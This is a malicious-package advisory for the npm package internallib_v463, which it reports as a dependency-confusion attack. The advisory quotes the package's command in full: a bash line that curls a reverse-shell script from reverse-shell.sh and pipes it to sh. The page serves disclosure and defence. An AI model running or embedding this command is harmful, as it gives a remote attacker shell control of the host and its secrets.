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OpenAdvisories
Malicious MAL-2026-16481

internallib_v463

npm package · versions 1.0.2

Reported Sep 23, 2026 · Updated Sep 23, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (0b01ff1527598f64a1da93492377bfd066f37519d0c589285136d9a31615d1b7)
index.js exports a function `command` that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.73.186:443|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it to sh. When the exported function is invoked by a consumer of this package, an interactive shell is established outbound to the hardcoded attacker endpoint 10.0.73.186:443, granting a remote party full shell control of the installer host. The module contains a `console.log("Primeiro PWN")` string, consistent with hostile intent rather than a legitimate utility. The package name (`internallib_v463`) and the private-range destination IP are consistent with a dependency-confusion payload targeting an internal package name.